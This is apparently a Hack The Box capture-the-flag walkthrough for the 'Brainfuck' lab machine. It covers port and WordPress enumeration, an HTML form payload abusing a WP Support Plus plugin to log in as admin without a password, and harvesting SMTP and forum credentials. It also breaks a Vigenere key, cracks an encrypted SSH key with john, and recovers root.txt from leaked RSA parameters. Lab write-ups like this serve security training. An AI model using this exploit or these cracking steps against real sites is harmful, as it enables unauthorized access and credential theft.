
HTB ‑ Brainfuck 2021‑04‑24

Brainfuck ‑ 10.10.10.17

Enumeration

Nmap

nmap -p- -T4 -oA nmap/quick 10.10.10.17

# Nmap 7.91 scan initiated Fri Apr 23 09:17:23 2021 as: nmap -p- -T4 -oA nmap/quick 10.10.10.17
Nmap scan report for www.brainfuck.htb (10.10.10.17)
Host is up (0.24s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https

# Nmap done at Fri Apr 23 09:21:49 2021 -- 1 IP address (1 host up) scanned in 265.59 seconds

Website

https://10.10.10.17
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SSL Cert

user : orestis@brainfuck.htb

DNS Name: www.brainfuck.htb, sup3rs3cr3t.brainfuck.htb

The dns names are added to /etc/hosts

sup3rs3cr3t.brainfuck.htb

sup3rs3cr3t.brainfuck.htb is a forumwebpage.
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www.brainfuck.htb ‑> brainfuck.htb

www.brainfuck.htb redirects to brainfuck.htbwhich is awordpresswebsite.

wpscan is ran against the https://brainfuck.htb

wpscan --api-token "zwHNCijstkXlttJouhoslFZG0MYms5Bvks9FMVexaAs" --url "https://brainfuck.htb"
--disable-tls-checks -o wpscan.log↪
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searchsploit WP Support Plus

wpscan --url "https://brainfuck.htb" --disable-tls-checks --enumerate u -o
wpscan_enumerate_user.log↪

Users found:

• admin
• administrator
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Exploitation

brainfuck.htb

Searchploit

During enumeration, it was found that theWPSupport Plus plugin is vulnerable to a Privilege Esca‑
lation attack.

searchsploit WP Support Plus

searchsploit -x php/webapps/41006.txt

Privilege Escalation to admin onwordpress

Using the users enumerated from wpscan, this attack can be performed. The payload was modified
as show below.
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<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">

</form>

The file is hosted using the command below.

python3 -m http.server 80

it is then viewed using a browser.

Vulnerability Explanation:

When inspecting the traffic in Burpsuite, it can be concluded that the WP Support Plus plugin sets an
authenticated cookie to the user without the need of a password.
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Once the script is ran, when refreshing the wordpress site, the cookies take effect and, the attacker is
automatically authenticated.

SMTP Credentials leaked

Going to the Easy WP SMTP plugin, information about the user can be found.
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In developers console, the password can be seen in cleartext.
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<input type="password" name="swpsmtp_smtp_password" value="kHGuERB29DNiNE">

SMTP Credential:

orestis:kHGuERB29DNiNE

Evolution Mail Client

Evolution mail client is configured as shown below to see user orestis mails.
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After configuring evolution, user orestis mail can be viewed.

Newcredentialsare revealed, it is for the forumfoundon thesubdomainsup3rs3cr3t.brainfuck.htb

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards
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sup3rs3cr3t.brainfuck.htb

Using the above credentials, the user orestic can now be accessed on the forum.

There are 3 topics listed in the forum:

• Key
• SSH Access
• Development

It can be observed that user orestis always signswith the phraseOrestis ‑ Hacking for fun and profit on
topic SSH Access.
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However on topicKey, thepage is encrypted. But the samepattern canbe seenasorestis always signs
his posts with the same phrase Orestis ‑ Hacking for fun and profit.
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Decryption of the posts

After researching the encryption method, it was concluded that it is a one time pad encryption tech‑
nique also known as Vernam Cipher (One Time Pad Vigenere).

Using the website https://www.boxentriq.com/code‑breaking/one‑time‑pad, the key was found to
be BRAINFUCKMYBRAINFUCKMYBRAINFU
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The same result can be crossed check on the website https://www.dcode.fr/vernam‑cipher‑vigene
re
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When decrypting what appeared to be a link mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq
0zc8/frmfycu/sp_ptr with the pad FUCKMYBRAINFUCKMYBRAINFUCKMYBR, it resulted to reveal a
link to the user orestis ssh public key https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/ore
stis/id_rsa
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curl -sk https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa -o orestis.enc
cat orestis.enc

The ssh key is an encrypted key and it needs to be decrypted in order to ssh as the orestis user.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382
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-----END RSA PRIVATE KEY-----

The password is cracked using john.

# cracked on windows
python ./run/ssh2john.py ./hashes/brainfuck-orestis.enc.txt | Out-File

./hashes/brainfuck-orestis.txt↪

# if having error: Error: UTF-16 BOM seen in input file.
# open ./hashes/brainfuck-orestis.txt in sublime and save with encoding utf-8

./run/john.exe --wordlist="D:/Documents/Bug
Bounty/SecLists/Passwords/Leaked-Databases/rockyou.txt" ./hashes/brainfuck-orestis.txt↪

3poulakia! (.\hashes\brainfuck-orestis.enc.txt)

SSH credential:

orestis:3poulakia!

SSH as orestis

Using the password 3poulakia!, brainfuck.htb can be access as the user orestis.
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chmod 600 orestis.enc
ssh -i orestis.enc orestis@brainfuck.htb

User.txt

User.txt can be found in the home directory of orestis.

user.txt: 2c11cfbc5b959f73ac15a3310bd097c9

Root.txt

There are some uncommon files which are only readable by orestis

• encrypt.sage
• debug.txt
• output.txt
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The file encrypt.sage is a python script which looks to be doing an RSA cipher on /root/root.txt

encrypt.sage:
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nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:

e = ZZ.random_element(phi)

c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

output.txt contains c, and debug.txt contains p,q and e respectively.

The content of /root/root.txt can be easily decrypted given all the above information.

Using the website https://www.dcode.fr/rsa‑cipher, the original content of /root/root.txt can be
obtained.
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root.txt: 6efc1a5dbb8904751ce6566a305bb8ef
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